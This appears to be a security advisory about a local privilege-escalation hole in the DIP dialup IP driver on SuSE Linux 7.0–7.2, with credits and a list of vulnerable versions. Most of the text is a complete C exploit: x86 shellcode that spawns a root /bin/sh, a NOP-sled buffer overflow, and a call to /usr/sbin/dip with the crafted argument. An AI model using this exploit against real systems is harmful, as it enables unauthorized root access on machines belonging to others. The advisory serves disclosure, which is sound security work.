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| DIP (Dialup IP Protocol Driver) handles the connections needed for dialup IP links, like SLIP or CSLIP. It can handle both incoming and outgoing connections, using password security for incoming connections. A security vulnerability has been discovered 3 years ago that is still present in SuSE Linux version 7.2 (the latest is 8.0). The vulnerability yields root privileges. |
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Credit:
The information has been provided by sebi hegi and pr10n.
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Vulnerable systems:
SuSE Linux 7.0
SuSE Linux 7.1
SuSE Linux 7.2
DIP version 3.3.7p-uri
DIP version 3.3.7o
Exploit:
/* Linux x86 dip 3.3.7p exploit by pr10n */
#include <stdio.h>
#define NOP 0x90
/*thanks to hack.co.za*/
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
"\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
unsigned long get_sp(void){ __asm__("movl %esp, %eax");}
main(int argc, char *argv[]){
char buf[136];
int i;
int offset=0,*ptr;
long ret;
if(argc!=2){
printf("usage: %s offset\n",argv[0]);
exit(0);}
offset=atoi(argv[1]);
ret=(get_sp()-offset);
for(i=1;i<136;i+=4){
*(long *)&buf[i]=ret;}
printf("\nusing: 0x%x\n\n",ret);
for(i=0;i<(sizeof(buf)-strlen(shellcode)-40);i++)
buf[i]=NOP;
memcpy(buf+i,shellcode,strlen(shellcode));
execl("/usr/sbin/dip","dip","-k","-l",buf,(char *)0);
}
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